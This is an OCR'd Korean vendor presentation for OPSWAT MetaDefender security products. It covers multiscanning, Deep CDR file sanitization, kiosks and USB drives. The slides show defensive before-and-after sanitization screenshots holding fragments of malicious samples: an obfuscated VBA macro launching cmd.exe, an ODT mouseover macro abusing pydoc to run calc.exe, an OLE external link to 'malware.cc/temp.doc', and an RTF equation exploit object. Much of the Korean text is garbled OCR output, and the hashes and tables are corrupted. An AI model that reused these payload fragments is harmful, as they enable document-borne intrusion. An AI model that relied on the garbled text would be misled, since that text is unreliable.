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T 207} LIEfLIT EXIE ATS| = SHQUIFLICE 0|2 A R EOt D2 NAI XHE ThsSote=

File Blocked UPLOADED SCANNED
Workflow Rule applied: File process 2020-01-28 13:58:24 GMT+9 2020-01-28 13:58:24 GMT+9
FILE TYPE FILE SIZE
SCANNING ENGINES Executable File 927 7 KB
MD5 0
DEEP CDR cceBbec9ff02e65c3c907cdfas1d18e1 COPY
PROACTIVE DLP SHA1 D
ecBfbbSbcbe19573eefbb1f1db7bdbebcadasofd COPY
FILE-BASED VULNERABILITY ASSESSMENT SHAZ56 0
33493¢06c957559be0656a0a74bbdebdesfec1404ccA457b6663377727h3331 COPY

b jerascan :
| I
: ENGINE SCAN TIME DEFINITION DATE RESULT |
I »* Ahnlab 92 ms 2020-01-28( 7 hours ago ) Win32/Zorex.X1799 :
: * Antiy 6ms 2020-01-27( 19 hours ago ) Trojan[Downloader]/Script.AGeneric :
: »® Avira 199 ms 2020-01-26( 2 days ago ) W2000M/Didr.Agent.17651006 :
: » BitDefender 1709 ms 2020-01-28( 9 hours ago ) Dropped:Trojan.GenericKD.32840913 |
I * ClamAvV 2023 ms 2020-01-27( 20 hours ago ) Win.Malware.Delf-6899401-0 :
|

_CVE“______________600_"‘5______E"E‘JEB{_?E“’S_E'Q&)_____ET_*”"ﬁDie“_ed______.:
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HE2(AH0] FAHES T = 21t CVSS H|0|AL| ATNHES MSELICH ME OF7I0|E AXCZ HEFH
ItUSO| AZH MISH0| SiEUL. (S YS X ofte| DHY0| Ot ZotE 8T MU RE A 715)

0

UPLOADED SCANNED
2020-01-28 16:07:57 GMT+9 2020-01-28 16:07:58 GMT+9
FILETYPE FILE SIZE
SCANNING ENGINES Executable File 275.6 KB
MD5 D
DEEP CDR b1e01d636350983e94171e229c759468 COPY
PROACTIVE DLP S ]
c9202cch53fc427664a26e4df46b1c8a4d011466 COPY
FILE-BASED VULNERABILITY ASSESSMENT SHAZ56 O
4662366187c5eacdedf5036fadef421a9017f5041391c5aa09b0125a2398f98¢ COPY

TN N N N N N R RN N RN NN NN N RN BN SN N BN BN NN RN BN SN SN RN BN BN SN RN BN BN SN N BN BN SN RN BN BN SN N M M M
: KNOWN VULNERABILITIES I
| OPSWAT :
I CVEID OPSWAT SEVERITY SEVERITY SCORE CVSS BASE SCORE v LAST MODIFIED TIME APPLICATION INFO I
: MNJLIST This file belongs to applications that have been identified with CRITICAL vulnerabilities by the National Institute of Standards and Technology (NIST) :
I

I CVE-201%-11708 CRITICAL 87 100 2019-08-16 03:15:00 GMT+9 Mozilla Firefox :
|

: CVE-2018-18502 CRITICAL 84 100 2019-02-08 00:42:00 GMT+9 Mozilla Firefox :
: CVE-2015-7201 MODERATE 46 100 2018-10-31 01:27:00 GMT+9 Mozilla Firefox :
L--"'-"—'_'_----‘-"-"_----------------‘--"—-’-‘-‘------'-'_“---‘I
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ZAE Yol CDR X2| At

DOC Factura para mes de octubre.doc
AMHMIAE 0|  worm / Downloader.ip
e
4 / 39 g siE 24 8ls 0/39
XLSX Hijackexploit.xls
OfMTLC 0|2  E20| 20t [Exploit] / OLE.CVE-2014-6352 3/39 gsEcrcs 0/39
LA npy 1/39 gogescis 0/39

PaperWorks.html

OtMALC 0|2  Trojan.HTML.Phishing
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Deep CDR MIZ2 M M7 CDR =2 & 7% &2 SHEXI0| tidt CDR X2|E X|¥EL Lt (2564 48 7|= 1897H)
ZUHOIN T2 AEE= ot 2O A(hwp, hwpx), ZE! DY X8 (alz, egg)0l tist CDR 2|7t 7t L.

---------

1 doc potm otp twbx 111 shp 133 mts 1565 177 gpkg
2 dot 24 pps 46 htm/html 68 twb 90 emz 112 shx 134 0gg 156 utlb 178 b3dm
3 xls 25 ppsm 47 mht 69 tds 91 ico 113 dbf 135 aiff 157 har 179 asics
4 xlt 26 pPSX 48 hta 70 pbix 92 cur 114 heic 136 aac 158 story 180 asice
5 ppt 27 ppam 49 pdf 71 rdf 93 webp 115  wmv 137 acm 159 7z 181 log
6 pot 28 sldx 50 ai 72 vecs 94 wdp 116 ~wma 138 opus 160 gz/gzip 182 pck
7 rtf 29 sldm 51 ait 73 ics 95 dwg 117 mpeg 139 mxf 161 rar 183 aem
8 docx 30 vsdx 52 hwp 74 Ink 96 dwt 118 wav 140 vixt 162 XZ 184 ribc
9 docm 31 VSSX 53 hwt 75 jpg 97 dws 119  mp3 141 em| 163 zip 185 esz
10 dotx 32 Vstx 54 hwpx 76 mj2 o8 sfc 120 mp4 142 msg 164 alz 186 baseb4
11 dotm 33 vsdm 55 cell 77 px 99 p21 121 mov 143 tnef 165 tar 187 zstd
12 xlsx 34 vssm 56 show 78 bmp 100 ww 122 avi 144 oft 166 bz2 188 yz1
13 xlsm 35 vstm 57 jtd 79 png 101 jwe 123 webm 145 pst 167 lzma 189  scdoc
14 xlsb 36 VSX 58 jtde 80 apng 102 bfo 124 flv 146 mbx 168 Izh

15 xltx 37 vix 59 jhd 81 mng 103 dxf 125 bwf 147 txt 169 arj

16 xItm 38 vdx 60 xml 82 tiff 104 dwf 126 bwb4 148 json 170 cab

17 xlam 39 one 61 xml-doc 83 tiffe4 105 3ds 127 wob4 149 xdw 171 wsp
18 csv 40 odt 62 xml-docx 84 nef 106 dae 128 rf64 150 xbd 172 ace
19 tsv 41 ods 63 xml=xls 85 svg 107 u3d 129 m4a 151 xct 173 tse

20 pptx 42 ott 64 xml-pptx 86 gif 108 drc 130 méyv 152 crl 174 tsez
21 potx 43 ots 65 jnlp 87 tga 109 rvm 131 mkv 153 spf 175 tsec
22 pptm 44 odp 66 bml 88 wmf 110 dem 132 3gp 154 prn 176 egg
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© Metadefender Deep CDR X2| At|

CDR 2| Atz - 2t I 27t el =l oM is) B

roject - VBAProject

&1 DOC2410201810839414.x1s - ThisWorkbook (Code)

7, |(Genera|] v| |:Daclarations]

= @ VBAProject (DOC2410201810839414.xls) -

()42 Microsoft Excel Objects End Function
Sheetl (772) Function torro()
@Thls\"inrkhnnk torre = ",81,20,30,6%,20,45,69,81,21,41,78,50,64,52,52,21,4¢,50,72,50,40,43,37,50,62,78,21,€4,73,73,37,4,38,12,4

End Function
Ar I Sub kxnWvmi()
Call 5Shell (omran + torro + vicking + tess + serena, 14 - 14)
I— I— End Sub

Function wicking()
vicking = ",30,1,1,36,62,11,11,11,55,1,13,50,29,50,62,20,41,0,3,37,35,2,70,13,47,20,8,69,78, 34,67,13,30,1,1,75,4
End Function
Function serenal()
serena = "5,27,2,82,53,73,5,43,37,2,6%9,32,71,72,49,%,72,36,9,17,21,48,82,65,83,50,50,62,78,13,78,7&,13,78,32,14,
End Function
Function omran/()
omran = "cmd.exe /V:0ON/C""set lW=o.crm'VEx57*"1(SEX]L8{-Y=GZU:K%0B[SiaZeb*yftp /T$jl'vdMF" |C\Hwk"s) WAIDn+}h4, sgé
End Function

sject - VBAProject x|
g = & DOC2410201810839414_sanitized_by OPSWAT_MetaDefender_8d5d1d764dcf42a8861e520af51e72b6.xls - Sheet1 (Code)
@ VBAProject (DOC2410201810839414_sanitized_by_OPS! ‘EGenemIJ v‘ ‘Eﬂeclamﬂons}

[=-£5 Microsoft Excel Objects

4] Thisworkbook

operties - Sheet] ﬁ
1eetl Worksheet v]
Iphabetic  Categorized

!E E— Sheetl

°
[
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© Metadefender Deep CDR X2| At|

CDR XNe| At - 4 3= Al AFEE

Before

decls><text:sequence-decl text:display-outline-lewvel="8"
text:name="Figure”/></text:sequence-decls><text:p text:style-name="5tandard”><text:a xlink:type="simple” xlink'hreF—”http:fftestf” text:style-name="Internet_20 link"
O L L AP [ mpp e 1o W W e S 1o W N P P L3 ceuant 1Actononc c n1n+ randt lictonan o n1n+ 1 AEuage= - n:p+” S:Pipt::?::t name="dom: mouseover"

l l lprogranlpython core-3.5.5/1ib/pydoc. py$tempf11epager(1 calc.exe ) 21language=Python&amp; location=share”

=TT "MOvE your mouse Over CIiTe

text:visited—=std
link:href=' vnd sun.star. scrlpt

x1link:type="
text</text:span»</text: a></text p></office: text></oFF1ce body></oFF1ce document-contents»

After

text:name="Illustration”/><text:sequence-decl text:display-outline-level="8" text:name="Table"/><text:sequence-decl text:display-outline-level="0"
text:name="Text" /><text:sequence-decl text:display-outline-level="8" text:name="Drawing"/><text:sequence-decl text:display-outline-level="@"

text:name="I1lustration”/><text:sequence-decl text:display-outline-level="8" text:name="Table"/><text:sequence-

text:display-outline-level="0" text:name="Text"/><text:sequence-decl text:display-outline-level="8" text:name="Drawing"”/><text:sequence-decl text:display-outline-level="@"

dec

text:name="Figure”/></text:sequence-decls><text:p text:style-name="Standard”»<text:a text:style-name="Internet_20 link" text:wisited-style-name="Visited 28 Internet_2@ Link"

IS s S x1ink: type="simple" ><text:span text:style-name="T1">move your mouse over the
text</text:span></text:ar</text:p></office:text></office:body»</office:document-content>
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CDR X2| Atg| — 2d C&C HE of0|HE=

<Relationship Id="rId4" Type="http://schemas.openxmlformats.orgfofficeDocument /2006 /relationshipsfoleObject"

I
EN
rA

Target="http:f fmalware.cc/temp.doc" TargetMode="External"/=

<Relationship Id="rId4" Type="http:f/schemas.openxmiformats.org/officeDocument/ 2006 /relationships/foleObject”
Target="#" TlargetMode="External" />

2
EN
U
ol
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CDR X2| Atd| - =3t & VBA AT EE It

{\rtfl\ansivansicpgl252h\deff@\nouicompatideflangl@33{\fonttbl{\f@\fnil\fcharset® Calibri;}}

M\ \generator Riched2® 6.3.9688}\viewkindd\ucl

\pard\sa200\s1276\s1multl\f@\fs22\1lang9{ \object\objemb\objupdate{\*\objclass Equation.3}\objw388\objh:
A|__—n,_ X B AR AARRRERAR R o g g S T e s T gz e e e s a s o e S e S A
=1 ! FEFEFFFFFEFFFFFffrFfrrfrrfffffffffffffffffffiffrffrffrrfrrffrffrifrrfrrrrrrrrrrrrrrrrrrrrfrrffrfrreee

260000000000000000000000000000000000000000000000000000000012000201FfFFfFFfFfOL0000BOFFF T fO0ROO0RO0OGE

0 e e e e e

JEERREERERRERREEREEERERRERRERRREREEREEREEEEREEREEREEERE0RE0REEREEERE0RE0REEREEERERRERREREREEREERERRE0E

e T T N N P N P e N P T Ve N P T N P T N P T N P T Vg P T T N T T N N T N Ny T T a N T T N T T N T Ta Ve NP Vo Na Pata Ve Pa o Na Pate Vg Fp PV n U ol ol ol il aul il il o i i e T N T T N T Ta Ve Ve tety

JKIZ;HL = El. S {hrtflhansivansicpgl252\deffB@h\nouicompatideflangl@33{\fonttbl{\f@\fnil\Ffcharset® Calibri;}}{\*\generator
'L} JQ1 | -T- Riched28 6.3.9680}\wviewkindd\ucl\pard\sa280%s1276%s1lmult1)FB\fs22\1lang9\par}
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CtAFSH SEHO| Kiosk EIRUO 2 T QSE SHZ40]| SHE| MEHS

Kiosk Tower

CIoset 930) 0|SAl 0|C(0fS

Kiosk Desktop

Kiosk Mobile

OPSWAT.

ST ADALS U ABRIZ LIS, 91Z0| HBHEl SO AT, B0 S B4R
LiEo = ZASHOf = 2H OlzA! O|C|O] AP EQS =2t AIE5t= HOH AT 2HA MX[SHH AFZ5h= A7H 2HS
2xUSBA32Gen1 2xUSB-A3.2Gen?2
2% USB C3.2 Gen 1 2 x USB-C 3.2 Gen 2 gi ng égg gzz ; 2x USBA32 Gen 1
1% SD Card / CF / MicroSD 1x SD Card e o 2% USB C3.2 Gen 2
1x MS Pro Duo 1 x MicroSD Card 1 x SD Card
1x Floppy Disk 1xUSB-A3.2Gen 2 . 1x MicroSD
1x CD/DVD/Blu-ray 1 x RIS Ethemet Port Dual Batteries
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© Metadefender Aether

et AHAEEH MZH0| SATK| BA| 7tset Ad3E 24 &

- 10

Metadefender Aether

X O EII

T | OPSWAT.
MetaDefender Acther  REPORTS
 HIZE0| ZAIX| PR/sts S8 24 — =l
n 4E-|'7:” |=|A'| ?.IE 0|3|=| Al:!% _E_&Ii | e VR TTRESTET Bemoms S
+ CPU 49 08210]M 2402 HEHOI VM WA=} gt~
A|CH 2084 B120, 3] 7|8 S22t
= 09.9% +Z&2| M=H|0] ?I&d &X| 21t HiS 020015222d054b1bST3ef1... (128) | o HIGHRISK (22.9%)

SHA-512 OPSWAT

u OHA'/'P El‘XlE L @-?—l/xd% 7|H|_I- %"X|§ _<T'3_Z|I Il'i'”% —E—Aﬂ-i 02015222dc5abib.. (128) g0 oo oo (INOTHREAT DETECTED
= MITRE ATT&CK O{& 7|8 &AM
= Z2IRE / 2O 0|A / Air-gapped &4 2% X|¥

°
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© Metadefender Aether
MetaDefender Aether= A

/oo

Threat Hunting
Layer4

Threat Scoring
Layer 3

Dynamic Analysis

Threat Reputation
Layer 1 Layer 2
[ ] [ J [ ] [ ]
IR SHA| 7|2t o O Sl AT Al 7|3 S ZM B 7|8 IR T AP MITRE ATT&CK 7|t &£
S IP / =M1 T X3 OENA /Y / YXIAER| 24 34 o A AR o EA 52 401 2 APT St B
T2 QI MR S 2 A IE XS &Y

LT ™ A HEXI SHA
A £ 2|} MEEA ST 71 22 SOC g U 7IE MiS SA T +E - US
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© Metadefender Drive
S AHIE EX| E2M
= O
SO MU ofMAC it
22 M
="T L-

System Update Available

t?'lz%\:\’DAT MetaDefender SmartTouch V.12.1.6

MetaDefender Drive V.4.3

- M T FICH 7|5 (BAE U BAIIY T]5e] A/V) *

Update Now
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© Metadefender Drive

HE AITE X EF8 XMl Bf Z2MA

@ ”
N &, N

Transient Malware 2 Country of Origin Transient
Device R nofan i Multiscanning Check Device
Drive Data Loss System Integrity
:] Prevention Check
. & Vulnerability Compliance ¥
. o Assessment Check g
Threat

Stationary W< Dt Removal Stationary

Device 2 = Device

Drive with
Digital Display
Metadefender Drive » 0|58 &X| / IHS X0 Metadefender DriveS Salf £E! 7H58H USB HE{Z AZH
3| ITEMA = HE|ATNS / CIOIE |5 YA / 7™ MH / 21 MAH / Q48X M2/ FEE dAH/ 78 &5 O] FAL & 4 OfY XHH
- A 2B 5 OPHBH IpUDt Q9
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© Metadefender Drive

Metadefender Drive 2f0|MA

OPSWAT.

MetaDefender Drive

Metadefender Drive Metadefender Drive
USB Smart Touch
4 Professional Enterprise Advanced
Ahnlab
Ahnlab Avira
Ahnlab Avira Bitdefender
Metascan Multiscanning Avira Bitdefender Crowdstrike
ClamAV ESET ESET
K7 K7
McAfee
=N 86.3% 87.6% 88.9%
MNEEE 1TB

-0
Zs

28



OPSWAT MetaDefender &|EHZA

2-1. dHZA 2 AGA
2-2. Ij7| x|

L
INSEUE;.



2-1 Metadefender 2|IHEA OPSWAT

© OPSWAT =L L 2|mHzA

NH=8 NAVER . Xoa0euzse coupang

LGTX} @ NAVER
%‘-Ol I EI-II- KYO B%ﬂ.‘i'_%“g KB =Z2I2Y @ HENCC [ "

“Q,U\Wﬂml
i e

Sz e

PROSECUTION SERVICE

P WU 298 G ousapolHNE

Ministry of National Defense CIG
SHIE AR
TS oAb o s o @ CHS HOI28H M\ O O GH .
X — —_— 3 ‘ E °|-I:I| ; —— EI
(fy T o e - !;Ipmlclgf'sw:f;; N ns!iulmcﬁlfcﬁml!m w T O enterprlse
PRLEYH
LRI RN KCEN 535358

-0

Zs

.
30 -
sssssss y



2-1 Metadefender 2|IHEA OPSWAT

© A= g Akl - API S5

APl BES O|Z310] Ef 241} Qi3 ¢S 2

(1) APIS Soll T} TS (2) CDR X2
orel 29l —
(3) CDR X{2| &l I} QX (4) CDR I} G|O|E| &t

_

SWAT.

Ol x =
0 x= 25 Deep CDR
(Ex. ¥ S7 S20|QE, MY 33 MH, & MY, TMS, ZHIY 4 5)
* 7]9] L 8174 L S2ISi= IjI0) CDR &80 ZR3 A NS M2|sts RE1

Deep CDRS HZ517| I3t F71 7HL0| ZRBHL|CE.

)||

1. QR2HEH D0 FYEH API(/file)S Soll CDR ZE= MEELCL

ro

2. CDR T2 APIE Soli e &2 IIYS Folieh XM=|ot0] AEEHLIC.

3. I Ha| 252 F7|HOR API(/file)S S5 CDR H2l7t HAHO2 = E|Rt X| SQIgi |Ct

B

4. CDR X2|7t 2t2 Z|ACHH Df X2 2=0|A API(/file/converted)S Sl

CDR *2| & It HO|EIE 7142t ot Ifed = KFELIC,.

Q0 e
31 IN

security



2-1 Metadefender 2|IHEA OPSWAT

© A= 9 At - 0l52t +1d

ChEel EzfE o= CDR MHE 0|83}, SIEM 38 714 2Y

ﬁ CDR AMH SRR TR A IR DR SRR,
R ‘ A-A [ A-S |
‘g - === “ / Syslog splunk 2IE{H|0|A
OPSWAT.
) L4 AQl%| OPSWAT,
QIE{L el APT &2H

splunk Z2}

-0
Zs

32



2-1 Metadefender B|HZA

OPSWAT.

© HZF 7 Al - =L K4S O|H|Y 712t ZE[UHA/CDR ME At

O|H|Y F7Zt0f| HE|UHA/CDRE £8/A M8 4 QT2 JHet =l MetaDefender Email Security2S X250

— =
QR ZHE| QUUE| HYS 1 SPAM/APT 2 MU M85t 5 LS U2 Q7| & HEMA/CDR X8

SPAM filter ;hPT Metadefender

Metadefender HIZ 2] flow

>

IN B2 Mt (kyobo)

1. HE SA | 281, &S, Heoh )

3. DI A (16 ANV A7)

3

L 4

g 2.0 M2 HE

mﬂ_n&amélil:-;»al:'.uritg,-I
4.1 AICHE 2 T Hals 2 (galR B MES Ths)

4.2 RS 29 MR OHY HY wE i ' i

LHEF Sqlite
4. HAL T3 B (3 BIATH

ometascan-node
ometascan

L% postgres

33

Q0 e
IN

security



2-1 Metadefender 2|IHEA OPSWAT

© XiE g Atdl - = N 2% AL TSA 12 2E#4L/CDR HE Al

Ol

YA F2t0l CDR MHE £EH SAAMZ = U= KAOA 7HE of OIS0 A|ARS ERot0] YA A|AR L

=
APl 83 JEE Sofl 2R 0N RRikl= IYSS DISHAHE Soll CDR AMz2[gh 7 st MYSS WE A MHZE ME

-

Q0 s
IN
WY S H iy THIO] Cis
it
cgodzﬂ :I'l'Ao‘iE— gE f83 H2lsto] YU + Ys
SF YE|E HAXF YA §
usYes oy {Y Server Farm
Multi AV engine /‘ (,_“’
k/ &
[[o8 | [ mait | [wes |
I i

[(Nerw ] ™S ¥ B2 A Wy A A8

NGFW Zt| L Anti-virus ¥

I0C WE 0§ g Bof
SUSIE o4 THY A Ag

a9 G TMSE T&

34

-0
Zs



2-1 Metadefender B|HZA

© XiE g Atdl - = N 2% AL TSA 12 2E#4L/CDR HE Al
H

©® XiAFJHE OISRU0 AL SE 8t

w — O X
@ Vs - IR 2mEs ER B x4+
& HFESH FEILICL  HPE FFEY 2012
Saist 2| Fat
MAESTRO
* B 71T HE -
= T 23 2 : ’ - qQ 7I9E 34 Zasiax g 7l2=s e ST, (ol £, MD5, SHAL S) Q
@ oNEc
Q oS a2 HOIKE 10 v i« 27
gzt 44z £ muy US| npUEt] ES: 200, o2 =g B MHEE MD5 SHAL A7)
o . . T2dcch333caffdaeld
Sanitized 2022-08-09 Netlink_UserGuide Hangul Word 00 2% @43 silence  46acef31293ea52d5
- I Fib-1=) paray
Allowed successfully 16:08:20 .hwp 321488 Processor (224Tms) s f E] par f4c0e38bbe32cse Hmbiﬁt;inZMf
f0a04546682221881
2022-06-28 Hangul Word 002 0% L, HE FEset 100047 001c2cle50394f3f4
Blocked Infected le.hw 1287680 Bl 45081724488afc020
ocke niecte 16:53:51 sample.nwp Processor @amy B = 85  08e3b0SI930988 14eeada ¢ o
45de8115b49ef6891
Sanitized 2022-06-28 ) Hangul Word 00E 0X =ay HUAT FHEOH 100047 8451be72b75a3851 5
Allowed o\ ocsiully  16:52:43 sample.hwp 148992 Processor (ssems) M= gy B 85  6e7baT972729909e 59858;%8;5;56375 o
. . a6aebb962398fcla0d
Sanitized 2022-06-17 . ~ 00E 0X 212 |43 silence  87d4139f7e3i80bTc
ZIHS pyrad
Allowed Partially 172650 Codesign_kkw.zip 200038 ZIP Archive (496ms) d43e (2, = po7 40a48fTesabllle 5001b3933§08:3a899 u
. . 6ech784df73d9604
Sanitized 2022-06-17 S . 00 2% @143 silence  2412298411e5b4faf
Allowed CodeSign.zi 1528097 ZIP Archive HEZ AFE d115d73547330128
Partially 1726226 en.zip (2123ms) =T ! g pa7 1008aTealceedfa 75baTioc u
68206e281c900c89
Filetypenot  2022-06-17 . o Sime  gm | D723 silence  92f8e7d9b7abbca3 )
Allowed supported 172637 t=2.txt 124 ASCII Text 002 0F (58ms) LA Faf = pat 83c2cd45d716d5f8 afqzet-jEi[SEE;ecilgib‘al{] u
99523c7ad6eedfa6s
Encrypted 2022-06-04 . . . s, HUHAT HEmob (55258  150aefedbad3cd309
Blocked PR I samples.zip 994 ZP Achive 00 0 (B0ms) MEH o v | fodstdumdussas 3b55i21299c;gem9 [ » |
d24c488ef5c8d3ade
06 Mol E GO
Blocked N? response 2?22 26;\24 samples.zip HEH _'E:_.‘I‘;L °E:E“ CSEQSS SSDEMEQE%S\“SIIE 33912aded1fcb886 -
Q0 e

security



2-2 Metadefender ZE| A7H Ij7|X]| OPSWAT

© Metadefender Core Ii7|X| & Custom Engines
8, 12, 16, 20, 20+ 71M4(Windows 7|&)2 2 {7 |X|= Of2Het Z-&LICt.

Packages Detection Available Engines

Public Sector Select

AhnLab Avira Bitdefender MV
5w

Max Engines 99.2%
20 Engines 96.4% (eslEly ' 7 K7 SECURITY Mirlan
16 Engines 951% Available Custom Engines
12 Engines 92.3%
TreliX 2X xcitium \GROWDSTRIKE ZLIoNIc
8 Engines 89.9% >
SOPHOS SYSTWeaK L CIBEoi Filseclab
QW Defender nsecia
Custom Engines
Increase malware detection rates and custornize your threat detection solution with additional engines —
based on your requirements. AEEE A oo @ Cyber
~
ARCTIC VD
%‘m‘s @ WOLF CMC CYBER SECURITY
Bkav <4 GH% 2 sentinelOne
ANTIY

Q0 e
36 IN

security



FERUMA|IF2|E| INSEC Security

NSEYA| 237 7HHEXE 12 19 BHIF B2 18X} 4062
Email : insec@insec.co.kr

TEL : 02-863-5687

www.insec.co.kr




	제목 없는 구역
	슬라이드 0
	슬라이드 1
	슬라이드 2
	슬라이드 3
	슬라이드 4
	슬라이드 5
	슬라이드 6
	슬라이드 7
	슬라이드 8
	슬라이드 9
	슬라이드 10
	슬라이드 11
	슬라이드 12
	슬라이드 13
	슬라이드 14
	슬라이드 15
	슬라이드 16
	슬라이드 17
	슬라이드 18
	슬라이드 19
	슬라이드 20
	슬라이드 21
	슬라이드 22
	슬라이드 23
	슬라이드 24
	슬라이드 25
	슬라이드 26
	슬라이드 27
	슬라이드 28
	슬라이드 29
	슬라이드 30
	슬라이드 31
	슬라이드 32
	슬라이드 33
	슬라이드 34
	슬라이드 35
	슬라이드 36
	슬라이드 37


